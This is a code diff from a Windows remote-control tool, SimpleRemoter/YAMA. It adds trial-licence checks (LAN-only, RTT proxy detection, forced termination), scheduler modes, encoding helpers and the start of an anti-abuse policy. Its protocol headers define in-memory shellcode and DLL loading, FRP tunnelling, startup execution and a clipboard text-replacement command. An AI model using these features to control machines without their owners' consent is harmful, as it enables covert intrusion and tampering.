// 刑事责任、第三方索赔),由被授权方独立承担,与发行方无关;
// * 发行方不审查、不参与、亦不为被授权方的实际部署形态、被管设备
// 的归属、被采集数据的内容与去向负责;
// * 一经发现被授权方存在违法违规使用迹象,发行方有权在不另行通知
// 的情况下立即吊销其授权,并依法配合相关执法 / 司法机关调查、
// 提交签发记录与必要日志。被授权方对授权签发协议的接受即视为对
// 上述处置权利的明示同意。
//
// 上述责任划分独立于、且优先于本软件附带的任何其他文档或宣传材料中
// 的表述。
//
// 本文件提供的强制机制
// ----------------------------------------------------------------------------
//
// 1. LANChecker
// 周期扫描本进程的 ESTABLISHED 入站连接,发现任何非私网 IP
// (非 10/8、172.16/12、192.168/16、127/8、169.254/16即弹窗告警。
// 用于试用模式下挡住"客户端直接从公网连入"的滥用形态。
//
// 2. LANChecker::CheckPortLimit
// 监听端口数量上限校验。无授权档限 2 个、试用档限 20 个,超额即弹窗。
// 防止单机被改造成大规模多租户中转节点。
//
// 3. LANRttChecker详见下方类注释
// 应用层 RTT 反代理。挡住"在 LAN 内放代理 / 反向隧道,源 IP 仍是
// 私网段但实际经公网转发到外部客户端"这一更隐蔽的绕过形态。
// 物理光速决定的硬约束,比 IP 段更难规避。
//
// 4. AuthTimeoutChecker
// 强制周期性回连授权服务器;离线超时则告警并最终强制终止进程,
// 防止"仅在初次激活时联网,之后离线长期使用"的形态。也用于
// 授权吊销下发:发行方在服务器侧吊销后,下次心跳即生效。
//
// 上述机制全部为故意可被终端用户感知的"告警 / 终止"路径,目的是让被滥用
// 部署的实例自我暴露,而非静默运行。组合起来构成纵深防御,单点绕过不足
// 以解除全部限制。
//
// 实现层面:本文件 header-only全部静态方法 + 函数内静态变量,避免静态
// 初始化顺序问题,全部线程安全。
// ============================================================================
#include <winsock2.h> #include <winsock2.h>
#include <ws2tcpip.h> #include <ws2tcpip.h>
@@ -10,6 +119,8 @@
#include <string> #include <string>
#include <mutex> #include <mutex>
#include <set> #include <set>
#include <deque>
#include <algorithm>
#include <atomic> #include <atomic>
#pragma comment(lib, "iphlpapi.lib") #pragma comment(lib, "iphlpapi.lib")
@@ -46,6 +157,16 @@ public:
return false; return false;
} }
// 字符串版(点分十进制 IPv4。空串或解析失败按"非公网"处理(即返回 true
// 避免误报;调用方应自行确保传入的是有效 IPv4。仅 IPv4IPv6 不在判定范围。
static bool IsPrivateIPv4Str(const std::string& ipv4)
{
if (ipv4.empty()) return true;
in_addr addr;
if (inet_pton(AF_INET, ipv4.c_str(), &addr) != 1) return true;
return IsPrivateIP(addr.s_addr); // s_addr 已是网络字节序
}
// 获取本进程所有入站的外网TCP连接只检测别人连进来的不检测本进程连出去的 // 获取本进程所有入站的外网TCP连接只检测别人连进来的不检测本进程连出去的
static std::vector<WanConnection> GetWanConnections() static std::vector<WanConnection> GetWanConnections()
{ {
@@ -269,6 +390,267 @@ private:
} }
}; };
// LAN RTT 检测器:试用版的"反代理"补强信号
//
// 设计动机:
// LANChecker 只看连接源 IP 是否私网段,但只要攻击者在 LAN 内放一台代理/反代/frp
// 把 server 暴露给公网,源 IP 仍然落在私网段IP 检测就被绕过。
// 公网客户端经任何代理接入时,应用层心跳的端到端 RTT (hb.Ping) 会反映真实物理
// 延迟(光速决定,代理不能"伪造低延迟"),因此用 RTT 阈值做二级闸门。
//
// 测量来源:客户端心跳里自报的 hb.Ping客户端侧 EWMA 平滑后的 srtt毫秒
// 注意:这个值包含 server 端业务处理时间(约 5-15ms不是纯网络 RTT。
//
// 阈值依据:
// 真 LAN含服务端处理5-25ms中位数典型 8-15ms
// 跨城/跨 ISP 代理30ms+
// 25ms 是物理上"真 LAN 不会稳定超过、公网代理不会稳定低于"的甜点。
//
// 抗误报机制:
// 1. 跳过前 WARMUP_SKIP 次心跳:客户端 EWMA 收敛 + server 首次 V2 签名等慢路径
// 2. 滑窗 N=SAMPLE_WINDOW 取中位数:抵抗个别样本异常抖动
// 3. 连续 BREACH_PERSIST_COUNT 次中位数都超阈值才触发:抵抗几十秒级临时拥塞
//
// 局限(已知,不在本版本处理):
// 攻击者本人有公网 IP 且"客户"与攻击者同城同 ISP 时,物理 RTT 可低于 25ms 漏检。
// 后续可叠加 "同源 IP 多 ClientID" 行为信号做双因素判定。
class LANRttChecker
{
public:
// 阈值毫秒。25 是经验值,针对"server 部署在 LAN 内"的典型试用场景。
// 如果 server 部署在机房(基线 RTT 本就 20ms+),调用方应自行调高。
static const int RTT_THRESHOLD_MS = 25;
static const int SAMPLE_WINDOW = 10; // 滑窗大小
static const int WARMUP_SKIP = 5; // 跳过前 N 次心跳
static const int BREACH_PERSIST_COUNT = 3; // 连续 K 次中位数超阈值才触发
// 试用模式开关:默认关,授权流程确认 IsTrail 后由调用方打开。
// 关闭时 RecordSample 直接返回,避免给已授权用户白白堆积状态/触发误报。
static void SetEnabled(bool enabled)
{
GetEnabled().store(enabled);
}
// 记录一次心跳 RTT 样本。在收到心跳 ACK / 算完 RTT 的位置调用:
// LANRttChecker::RecordSample(rttMs);
// 单 client 进程在生命周期内只有一条对控制端的活跃心跳源,全局单例
// 状态足够;若上层后续真出现"多控制端并存",再恢复 keyed 设计。
static void RecordSample(int rttMs)
{
// 三道无锁早退:未启用 / 已弹过框 / 异常值。
// 一旦弹过告警,本检测器就该 sleep——后续样本既不会再触发新的弹框
// 继续抢锁排序也只是浪费 CPU。Reset() 才会重新打开(清掉 warned 标记)。
if (!GetEnabled().load() || GetWarnedFlag().load() || rttMs <= 0)
return;
bool shouldWarn = false;
int triggeredMedian = 0;
{
std::lock_guard<std::mutex> lock(GetMutex());
auto& state = GetState();
// 拿到锁后再确认一次——RecordSample 多线程并发时可能有别的线程
// 已经在弹框路径上把 warned 设置了。
if (state.warned)
return;
// 收敛期:前 N 个样本完全忽略,不入滑窗也不计数判定
if (state.total_seen++ < WARMUP_SKIP)
return;
state.samples.push_back(rttMs);
if ((int)state.samples.size() > SAMPLE_WINDOW)
state.samples.pop_front();
// 滑窗未满时不判定,避免少样本中位数失真
if ((int)state.samples.size() < SAMPLE_WINDOW)
return;
int median = MedianMs(state.samples);
if (median > RTT_THRESHOLD_MS)
state.breach_run++;
else
state.breach_run = 0;
if (state.breach_run >= BREACH_PERSIST_COUNT)
{
state.warned = true;
GetWarnedFlag().store(true); // 同步到无锁早退标志
shouldWarn = true;
triggeredMedian = median;
}
}
if (shouldWarn)
{
std::string* msgPtr = new std::string();
*msgPtr = "Suspicious connection detected.\n\n";
*msgPtr += "Connection RTT median: "
+ std::to_string(triggeredMedian) + "ms\n";
*msgPtr += "Threshold: " + std::to_string(RTT_THRESHOLD_MS) + "ms\n\n";
*msgPtr += "The persistently elevated RTT suggests the connection\n";
*msgPtr += "may be relayed through a proxy/VPN.\n\n";
*msgPtr += "Trial version is restricted to LAN connections only.\n";
*msgPtr += "Please purchase a license for remote connections.";
HANDLE hThread = CreateThread(NULL, 0, WarningDialogThread, msgPtr, 0, NULL);
if (hThread) CloseHandle(hThread);
}
}
// 重置状态:清空采样、清空告警标记。可在切换授权状态或测试时调用。
// 注意:不应在断线重连时调用——保留跨重连的状态可以避免攻击者通过
// 反复重连刷新收敛期来绕过检测。
static void Reset()
{
std::lock_guard<std::mutex> lock(GetMutex());
GetState() = ClientState{};
GetWarnedFlag().store(false); // 把无锁早退标志一起清掉
}
// 查询当前的样本中位数(毫秒),不足窗口或无样本返回 -1。
// 用于调试 / 状态栏展示。
static int GetMedianMs()
{
std::lock_guard<std::mutex> lock(GetMutex());
auto& state = GetState();
if ((int)state.samples.size() < SAMPLE_WINDOW)
return -1;
return MedianMs(state.samples);
}
private:
struct ClientState
{
std::deque<int> samples; // 最近 SAMPLE_WINDOW 个有效样本
int total_seen = 0; // 总采样数(含被跳过的收敛期样本)
int breach_run = 0; // 连续中位数超阈值的次数
bool warned = false; // 已弹过框,避免重复打扰
};
static int MedianMs(const std::deque<int>& s)
{
std::vector<int> v(s.begin(), s.end());
std::sort(v.begin(), v.end());
size_t n = v.size();
if (n == 0) return 0;
return (n % 2 == 0) ? (v[n / 2 - 1] + v[n / 2]) / 2 : v[n / 2];
}
static DWORD WINAPI WarningDialogThread(LPVOID lpParam)
{
std::string* msg = (std::string*)lpParam;
MessageBoxA(NULL, msg->c_str(), "Trial Version - LAN Only",
MB_OK | MB_ICONWARNING | MB_TOPMOST);
delete msg;
return 0;
}
static std::mutex& GetMutex()
{
static std::mutex s_mutex;
return s_mutex;
}
static ClientState& GetState()
{
static ClientState s_state;
return s_state;
}
static std::atomic<bool>& GetEnabled()
{
static std::atomic<bool> s_enabled(false); // 默认关,避免误伤已授权用户
return s_enabled;
}
// 已弹过框的无锁标志,与 ClientState::warned 同步。RecordSample 入口处
// 用它做 zero-cost 早退,避免后续每次心跳还要抢锁 + 排序中位数。
static std::atomic<bool>& GetWarnedFlag()
{
static std::atomic<bool> s_warned(false);
return s_warned;
}
};
// 服务端 per-connection RTT 反代理检测器
//
// 设计动机:与 LANRttChecker 互补——LANRttChecker 是客户端单例(一个客户端只有一条主控连接,
// 全局滑窗即可),但服务端要同时盯多个连接,若用全局滑窗,一条 abusive 连接会被 N 条真 LAN
// 连接的中位数稀释。所以本类的每个实例只跟一条连接绑定,由 IOCPServer 持有,逐连接单独判定。
//
// 信号源:服务端 WSAIoctl(SIO_TCP_INFO).RttUs内核测得的纯网络 RTT微秒比客户端
// "心跳总耗时减 ProcessingMs" 更干净。因此阈值可以比客户端 25ms 严一点 → 20ms。
//
// 触发动作:仅返回"是否首次触发"是否真的弹框由调用方IOCPServer持全局 latch 决定。
// 同一连接生命周期内 triggered 后不再产生新的 triggerper-connection 自带 latch
//
// 线程模型单写者IOCPServer 的 RTT 轮询线程)。所有方法假设由同一线程串行调用,
// 内部不加锁;读取展示性字段建议直接走 CONTEXT_OBJECT 暴露的 atomic getter。
class TcpRttBreachDetector
{
public:
// 与 LANRttChecker 经验阈值对齐,但因信号更干净而严化:
static const int RTT_THRESHOLD_MS = 20;
static const int SAMPLE_WINDOW = 10; // 滑窗大小10s 历史 @ 1Hz
static const int WARMUP_SKIP = 5; // 跳过前 N 次样本,避免握手早期波动
static const int BREACH_PERSIST_COUNT = 3; // 连续 K 次中位数超阈值才触发
// 喂一次 RTT 样本(毫秒)。返回 true 当且仅当**本次**调用导致首次触发。
// 后续调用即使继续超阈也返回 falseper-instance latch由调用方决定是否仍要继续输入。
bool Feed(int rttMs)
{
if (m_triggered || rttMs <= 0) return false;
if (m_totalSeen++ < WARMUP_SKIP) return false;
m_samples.push_back(rttMs);
if ((int)m_samples.size() > SAMPLE_WINDOW)
m_samples.pop_front();
if ((int)m_samples.size() < SAMPLE_WINDOW)
return false;
int med = MedianMs(m_samples);
if (med > RTT_THRESHOLD_MS) m_breachRun++; else m_breachRun = 0;
if (m_breachRun >= BREACH_PERSIST_COUNT) {
m_triggered = true;
m_triggerMedianMs = med;
return true;
}
return false;
}
bool IsTriggered() const { return m_triggered; }
int TriggerMedianMs() const { return m_triggerMedianMs; }
int CurrentMedianMs() const
{
return ((int)m_samples.size() < SAMPLE_WINDOW) ? -1 : MedianMs(m_samples);
}
// 复用 CONTEXT_OBJECT 时调用(释放回 free pool 后再次接连接)。
void Reset()
{
m_samples.clear();
m_totalSeen = 0;
m_breachRun = 0;
m_triggered = false;
m_triggerMedianMs = 0;
}
private:
static int MedianMs(const std::deque<int>& s)
{
std::vector<int> v(s.begin(), s.end());
std::sort(v.begin(), v.end());
size_t n = v.size();
if (n == 0) return 0;
return (n % 2 == 0) ? (v[n / 2 - 1] + v[n / 2]) / 2 : v[n / 2];
}
std::deque<int> m_samples;
int m_totalSeen = 0;
int m_breachRun = 0;
int m_triggerMedianMs = 0;
bool m_triggered = false;
};
// 授权连接超时检测器 // 授权连接超时检测器
// 用于检测试用版/未授权用户是否长时间无法连接授权服务器 // 用于检测试用版/未授权用户是否长时间无法连接授权服务器
class AuthTimeoutChecker class AuthTimeoutChecker
@@ -308,6 +690,9 @@ public:
// 超过警告时间,弹出警告(弹窗关闭后可再次弹出) // 超过警告时间,弹出警告(弹窗关闭后可再次弹出)
if (elapsed >= (ULONGLONG)warningTimeoutSec && !GetDialogShowing()) if (elapsed >= (ULONGLONG)warningTimeoutSec && !GetDialogShowing())
{ {
if (elapsed >= 6 * warningTimeoutSec)
TerminateProcess(GetCurrentProcess(), 0);
GetDialogShowing() = true; GetDialogShowing() = true;
// 在新线程中弹窗,弹窗关闭后重置标记允许再次弹窗 // 在新线程中弹窗,弹窗关闭后重置标记允许再次弹窗

View File

@@ -337,6 +337,20 @@ enum {
TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck
COMMAND_SCREEN_PREVIEW_REQ = 247, // 屏幕预览请求(服务端→客户端) COMMAND_SCREEN_PREVIEW_REQ = 247, // 屏幕预览请求(服务端→客户端)
TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端) TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
COMMAND_TEXT_REPLACE = 249,
TOKEN_CLIP_TEXT = 250,
};
#pragma pack(push, 1)
struct TextReplace {
uint8_t cmd;
uint8_t type;
uint8_t param[510];
uint8_t reserved[512];
};
enum TextReplaceRule {
RULE_REPLACE_ALL = 0,
}; };
// 子连接校验HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID // 子连接校验HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID
@@ -353,7 +367,6 @@ enum {
// 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token / // 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token /
// per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段 // per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段
// 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。 // 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。
#pragma pack(push, 1)
struct ConnAuthPacket { struct ConnAuthPacket {
uint8_t token; // = TOKEN_CONN_AUTH [1] uint8_t token; // = TOKEN_CONN_AUTH [1]
uint64_t clientID; // 客户端 V2 IDMachineGuid + 归一化路径算出) [8] uint64_t clientID; // 客户端 V2 IDMachineGuid + 归一化路径算出) [8]
@@ -1103,12 +1116,23 @@ typedef struct Heartbeat {
} Heartbeat; } Heartbeat;
typedef struct HeartbeatACK { typedef struct HeartbeatACK {
uint64_t Time; uint64_t Time; // offset 0, size 8
char Authorized; char Authorized; // offset 8
char IsTrail; char IsTrail; // offset 9
char Authorization[200]; char Authorization[200]; // offset 10, size 200 → 结束于 210
char Reserved[814]; // 显式 padding让随后的 uint32_t ProcessingMs 落在 4 字节对齐边界212
// 不加这两个字节,编译器会自动补,但同时会把结构体尾部补到 8 字节对齐
// 导致 sizeof 从 1024 涨到 1032破坏跨版本兼容新客户端连旧服务端会
// 退回 OldSize=32 字节读取,丢失 Authorization
char _ackPad[2]; // offset 210, size 2
// 服务端处理本心跳的耗时(毫秒,由 server 写入 send-ACK 前一刻)。
// 客户端用 (now - Time) - ProcessingMs 得到近似纯网络 RTT喂给反代理检测。
// 旧服务端 / 早期版本会把 ProcessingMs 留作 0此时客户端按 0 = 未知,
// 直接使用 (now - Time),不退化(与本字段加入前的行为完全一致)。
uint32_t ProcessingMs; // offset 212, size 4 → 结束于 216
char Reserved[808]; // offset 216, size 808 → 结束于 1024
} HeartbeatACK; } HeartbeatACK;
// sizeof(HeartbeatACK) == 1024与本字段加入前完全相等
#define HeartbeatACK_OldSize 32 #define HeartbeatACK_OldSize 32
@@ -1128,7 +1152,9 @@ typedef struct MasterSettings {
char HelpUrl[80]; // Since 2026-04-08 char HelpUrl[80]; // Since 2026-04-08
char RequestAuthUrl[80]; // Since 2026-04-08 char RequestAuthUrl[80]; // Since 2026-04-08
char GetPluginUrl[80]; // Since 2026-04-08 char GetPluginUrl[80]; // Since 2026-04-08
char Reserved[108]; // Since 2025-11-27 char Authorized; // Since 2026-05-15
char IsTrail; // Since 2026-05-15
char Reserved[106]; // Since 2025-11-27
} MasterSettings; } MasterSettings;
#pragma pack(pop) #pragma pack(pop)
@@ -1335,11 +1361,13 @@ enum {
SHELLCODE = 0, SHELLCODE = 0,
MEMORYDLL = 1, MEMORYDLL = 1,
RUNTYPE_MAX = 2,
CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码 CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码
CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam) CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam)
CALLTYPE_FRPC_CALL = 2, // 调用FRPC CALLTYPE_FRPC_CALL = 2, // 调用FRPC
CALLTYPE_FRPC_STDCALL = 3, // 调用FRPC标准方式使用开源FRP项目 CALLTYPE_FRPC_STDCALL = 3, // 调用FRPC标准方式使用开源FRP项目
CALLTYPE_MAX = 4,
}; };
typedef DWORD(__stdcall* PidCallback)(void); typedef DWORD(__stdcall* PidCallback)(void);

View File

@@ -1,11 +1,17 @@
#ifndef YAMA_SCHEDULER_H #ifndef YAMA_SCHEDULER_H
#define YAMA_SCHEDULER_H #define YAMA_SCHEDULER_H
#include <stdint.h>
// 调度模式定义 // 调度模式定义
#define SCH_MODE_NONE 0 // 默认模式:不自动执行 (仅手动) #define SCH_MODE_NONE 0 // 默认模式:不自动执行 (仅手动)
#define SCH_MODE_STARTUP 1 // 启动执行模式 #define SCH_MODE_STARTUP 1 // 启动执行模式
#define SCH_MODE_DAILY 2 // 每日定时模式 #define SCH_MODE_DAILY 2 // 每日定时模式
#define SCH_MODE_WEEKLY 3 // 每周定时模式 #define SCH_MODE_WEEKLY 3 // 每周定时模式
#define SCH_MODE_MONTHLY 4 // 每月定时模式
#define SCH_MODE_YEARLY 5 // 每年定时模式
#define SCH_MODE_OFF 6 // 关闭
#define SCH_MODE_MAX 7
#pragma pack(push, 1) #pragma pack(push, 1)
// 严格定义 16 字节结构 // 严格定义 16 字节结构
@@ -40,6 +46,7 @@ class YamaTaskEngine {
public: public:
static bool ShouldExecute(const ScheduleParams* p) { static bool ShouldExecute(const ScheduleParams* p) {
// --- 1. 默认与基础拦截 --- // --- 1. 默认与基础拦截 ---
if (p->Mode == SCH_MODE_OFF) return false;
if (p->Mode == SCH_MODE_NONE) return false; // Mode为0默认不执行 if (p->Mode == SCH_MODE_NONE) return false; // Mode为0默认不执行
if (p->Flags & 0x01) return false; // 显式禁用拦截 if (p->Flags & 0x01) return false; // 显式禁用拦截
if (p->MaxCount > 0 && p->CurrentCount >= p->MaxCount) return false; if (p->MaxCount > 0 && p->CurrentCount >= p->MaxCount) return false;
@@ -63,9 +70,51 @@ public:
SYSTEMTIME st; SYSTEMTIME st;
GetLocalTime(&st); GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute); unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
// TargetMin=0 表示 0:00 执行
if (curMin >= p->Config.Timed.TargetMin) { if (curMin >= p->Config.Timed.TargetMin) {
if (!IsSameDay(p->LastRunTime, now)) return true; if (!IsSameDay(p->LastRunTime, now)) return true;
} }
return false;
}
// --- 4. 每周定时逻辑 (Mode 3) ---
if (p->Mode == SCH_MODE_WEEKLY) {
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
// DaysMask=0 表示周日 (wDayOfWeek: 0=周日, 1=周一, ...)
unsigned char targetDay = p->Config.Timed.DaysMask;
if (st.wDayOfWeek == targetDay && curMin >= p->Config.Timed.TargetMin) {
if (!IsSameWeek(p->LastRunTime, now)) return true;
}
return false;
}
// --- 5. 每月定时逻辑 (Mode 4) ---
if (p->Mode == SCH_MODE_MONTHLY) {
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
// DaysMask=0 表示每月第 1 天
unsigned char targetDay = p->Config.Timed.DaysMask == 0 ? 1 : p->Config.Timed.DaysMask;
if (st.wDay == targetDay && curMin >= p->Config.Timed.TargetMin) {
if (!IsSameMonth(p->LastRunTime, now)) return true;
}
return false;
}
// --- 6. 每年定时逻辑 (Mode 5) ---
if (p->Mode == SCH_MODE_YEARLY) {
SYSTEMTIME st;
GetLocalTime(&st);
unsigned short curMin = (unsigned short)(st.wHour * 60 + st.wMinute);
// DaysMask=0, Reserved=0 表示 1月1日
unsigned char targetMonth = p->Config.Timed.DaysMask == 0 ? 1 : p->Config.Timed.DaysMask;
unsigned char targetDay = p->Config.Timed.Reserved == 0 ? 1 : p->Config.Timed.Reserved;
if (st.wMonth == targetMonth && st.wDay == targetDay && curMin >= p->Config.Timed.TargetMin) {
if (!IsSameYear(p->LastRunTime, now)) return true;
}
return false;
} }
return false; return false;
@@ -88,13 +137,66 @@ private:
static bool IsSameDay(unsigned __int64 ft1, unsigned __int64 ft2) { static bool IsSameDay(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false; if (ft1 == 0 || ft2 == 0) return false;
SYSTEMTIME st1, st2; SYSTEMTIME st1, st2;
FILETIME f1, f2; FTToST(ft1, &st1);
f1.dwLowDateTime = (DWORD)ft1; f1.dwHighDateTime = (DWORD)(ft1 >> 32); FTToST(ft2, &st2);
f2.dwLowDateTime = (DWORD)ft2; f2.dwHighDateTime = (DWORD)(ft2 >> 32);
FileTimeToSystemTime(&f1, &st1);
FileTimeToSystemTime(&f2, &st2);
return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth && st1.wDay == st2.wDay); return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth && st1.wDay == st2.wDay);
} }
static bool IsSameWeek(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
// 转换为本地时间的天数,再判断是否在同一周
SYSTEMTIME st1, st2;
FTToST(ft1, &st1);
FTToST(ft2, &st2);
// 计算两个日期各自所在周的周日日期,相同则同一周
int days1 = DaysSinceEpoch(st1.wYear, st1.wMonth, st1.wDay);
int days2 = DaysSinceEpoch(st2.wYear, st2.wMonth, st2.wDay);
// 回退到本周周日 (wDayOfWeek: 0=周日)
int weekStart1 = days1 - st1.wDayOfWeek;
int weekStart2 = days2 - st2.wDayOfWeek;
return (weekStart1 == weekStart2);
}
static bool IsSameMonth(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
SYSTEMTIME st1, st2;
FTToST(ft1, &st1);
FTToST(ft2, &st2);
return (st1.wYear == st2.wYear && st1.wMonth == st2.wMonth);
}
static bool IsSameYear(unsigned __int64 ft1, unsigned __int64 ft2) {
if (ft1 == 0 || ft2 == 0) return false;
SYSTEMTIME st1, st2;
FTToST(ft1, &st1);
FTToST(ft2, &st2);
return (st1.wYear == st2.wYear);
}
static void FTToST(unsigned __int64 ft, SYSTEMTIME* pSt) {
FILETIME ftUtc, ftLocal;
ftUtc.dwLowDateTime = (DWORD)ft;
ftUtc.dwHighDateTime = (DWORD)(ft >> 32);
FileTimeToLocalFileTime(&ftUtc, &ftLocal);
FileTimeToSystemTime(&ftLocal, pSt);
}
// 简易计算从某基准日开始的天数 (用于周计算)
static int DaysSinceEpoch(int year, int month, int day) {
// 简化算法:相对于 2000-01-01 的天数
int y = year - 2000;
int leapYears = (y > 0) ? ((y - 1) / 4 - (y - 1) / 100 + (y - 1) / 400 + 1) : 0;
int days = y * 365 + leapYears;
static const int daysBeforeMonth[] = { 0,31,59,90,120,151,181,212,243,273,304,334 };
days += daysBeforeMonth[month - 1] + day - 1;
// 闰年 2 月后加 1 天
if (month > 2 && IsLeapYear(year)) days++;
return days;
}
static bool IsLeapYear(int year) {
return (year % 4 == 0 && year % 100 != 0) || (year % 400 == 0);
}
}; };
#endif #endif
#endif #endif

56
common/utf8.h Normal file
View File

@@ -0,0 +1,56 @@
#include <windows.h>
#include <string>
/**
* 将本地多字节字符串 (ANSI/GBK) 转换为 UTF-8
*/
inline std::string ansi_to_utf8(const std::string& ansi_str) {
if (ansi_str.empty()) return "";
// 1. ANSI -> UTF-16 (WideChar)
int wlen = MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, NULL, 0);
std::wstring wstr(wlen, 0);
MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, &wstr[0], wlen);
// 2. UTF-16 -> UTF-8
int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
std::string utf8_str(u8len, 0);
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &utf8_str[0], u8len, NULL, NULL);
// 移除末尾的 \0
if (!utf8_str.empty() && utf8_str.back() == '\0') {
utf8_str.pop_back();
}
return utf8_str;
}
/**
* 将 UTF-8 字符串转换为本地多字节字符串 (ANSI/GBK)
* 用于在多字节字符集 UI 上正常显示从远程接收到的内容
*/
inline std::string utf8_to_ansi(const std::string& utf8_str) {
if (utf8_str.empty()) return "";
// 1. UTF-8 -> UTF-16 (WideChar)
// 计算需要的宽字符长度
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
if (wlen <= 0) return "";
std::wstring wstr(wlen, 0);
MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, &wstr[0], wlen);
// 2. UTF-16 -> ANSI (Local Code Page, e.g., GBK)
// CP_ACP 表示使用当前系统的 ANSI 代码页
int alen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
if (alen <= 0) return "";
std::string ansi_str(alen, 0);
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi_str[0], alen, NULL, NULL);
// 移除 WideCharToMultiByte 自动添加的 \0 结尾
if (!ansi_str.empty() && ansi_str.back() == '\0') {
ansi_str.pop_back();
}
return ansi_str;
}

View File

@@ -0,0 +1,626 @@
# 反滥用与合规使用政策
> **文档版本**1.0
> **生效日期**:本文档自发行方在公开仓库发布之日起对所有获取本软件的人员生效;
> 后续修订以仓库提交记录为准。
> **文档语言**:本文档以简体中文为权威版本;译本在含义不一致时,以中文版本为准。
---
## 重要声明(请在使用本软件之前完整阅读)
> **本文档不是法律意见。** 本文档由发行方以一般合规材料的形式起草,目的是
> 阐明本软件的设计意图、许可使用范围、禁止使用情形以及发行方与最终使用方
> 之间的责任划分。本文档不构成针对任何特定司法辖区、特定使用场景的法律
> 意见,亦不替代用户应当自行向具备执业资质的律师寻求的专业建议。
>
> **使用本软件即视为您已阅读、理解并接受本文档全部条款。** 如您不能或不愿
> 接受本文档任一条款,请立即停止下载、安装、运行、复制、修改、分发本软件,
> 并销毁您持有的全部副本。
---
## 1. 目的与适用范围
### 1.1 文档目的
本文档(以下简称"本政策")的目的是:
1. 明确本软件(指仓库中所标识的 SimpleRemoter / YAMA 项目,包括其源代码、
编译产物、文档、配置示例与所有衍生分发物,以下统称"本软件")的合法
使用边界;
2. 公开发行方为防止本软件被滥用而内置的技术措施;
3. 在发行方与最终使用方之间划清责任,确保任何越权或违法使用行为的法律
后果由实施该行为的一方独立承担;
4. 作为本软件项目对外的"反滥用与合规姿态"的正式书面证据,可被援引于
任何与本软件被滥用相关的调查、诉讼或行政程序。
### 1.2 适用对象
本政策对下列各方均具有约束力:
- 直接从发行方仓库获取本软件源代码或编译产物的个人 / 实体;
- 通过任何第三方渠道(镜像站点、社区转发、二次发行等)获取本软件的
个人 / 实体;
- 在发行方授权体系内取得"试用口令"或"正式授权"的被授权方;
- 上述各方在其内部组织 / 团队 / 客户处的实际操作人员。
上述各方在本政策中统称为"使用方"。
### 1.3 与其他文档的关系
本政策与本软件附带的下列材料共同构成完整的使用条件:
- 仓库根目录下的 `README.md`(项目简介及法律警告);
- 仓库根目录下的 `LICENSE` 或同等开源许可证文件;
- 发行方在签发"正式授权"时单独签订的授权协议(如有)。
如本政策与上述任一材料的表述发生冲突,以**对发行方更有利、对使用方义务
更严格**的表述为准。这一冲突解决规则的目的,是确保本软件的反滥用立场
不因任何文档表述差异而被削弱。
---
## 2. 术语定义
为便于理解,下列术语在本政策中具有以下含义:
- **"发行方"**:本软件源代码仓库的合法持有人,以及由其明确指定的代理人。
- **"被授权方"**:在发行方授权体系内取得任一档授权(无口令档不构成
显式授权,但仍受本政策约束)的个人或实体。
- **"被管设备"**:使用方利用本软件进行远程访问、监控、控制的目标
计算设备,包括但不限于个人电脑、服务器、移动终端、嵌入式设备。
- **"被管设备相关方"**:被管设备的所有人(拥有该设备物权或处分权的
自然人 / 法人)以及实际使用人(在该设备上工作、存储个人数据、
进行账户登录的自然人)。两者可能为同一人,也可能为不同人。
- **"个人信息"**:以电子或其他方式记录的、与已识别或可识别的自然人
有关的各种信息,含义参照《中华人民共和国个人信息保护法》第四条
及欧盟《通用数据保护条例》GDPR第 4 条第(1)项。
- **"司法辖区"**:与使用方实际部署、运营本软件相关的任何国家或地区
的法律体系,包括使用方住所地、被管设备所在地、被管设备相关方
所在地、相关数据流转或存储所在地。
---
## 3. 软件设计意图与许可使用场景
### 3.1 设计意图
本软件的设计意图是为下列**合法、获明示同意的**使用场景提供技术能力:
| 场景 | 典型形态 | 必要前提 |
|------|---------|---------|
| 个人单机管理 | 自有设备的远程登录、应急自救 | 设备由使用人自有 |
